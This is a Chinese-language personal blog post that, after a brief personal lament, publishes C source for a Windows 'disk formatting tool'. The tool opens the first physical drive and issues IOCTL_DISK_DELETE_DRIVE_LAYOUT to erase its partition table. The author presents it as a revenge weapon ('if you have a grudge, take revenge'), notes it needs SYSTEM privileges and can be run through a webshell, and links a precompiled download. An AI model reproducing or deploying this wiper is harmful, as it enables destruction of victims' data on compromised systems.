Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

windows03 08 xp 07 32位与64位格盘工具

代码:

#include<stdio.h>

#include<tchar.h>

#include<Windows.h>

#include<ntddscsi.h>//需要配置好WinDDK


int main()

{

    DWORD lpBytesReturned;

    OVERLAPPED lpOverlapped={0};

    //以下两个CreateFile都可以,但前者速度慢,后者速度快。

    //HANDLE DiskHandle=CreateFile(_T("\\\\.\\C:"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

    HANDLE DiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0:"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

    DeviceIoControl(DiskHandle,

    IOCTL_DISK_DELETE_DRIVE_LAYOUT,//###########这是重点!########### 注:这个值等于0x0007C100

    NULL,0,NULL,0,&lpBytesReturned,&lpOverlapped);

    return 0;//兼容GCC

}

编译运行下即可



大家有仇得报仇。小心别被打死。

PS:小铸大JB分享给我的。测试时发现要system权限。可以测试下。webshell也可以使用得。

已经编译好得支持32与64位:

链接: https://pan.baidu.com/s/1qWIE6fy 密码: pfsq


评论

© Sh4dow's Blog | Powered by LOFTER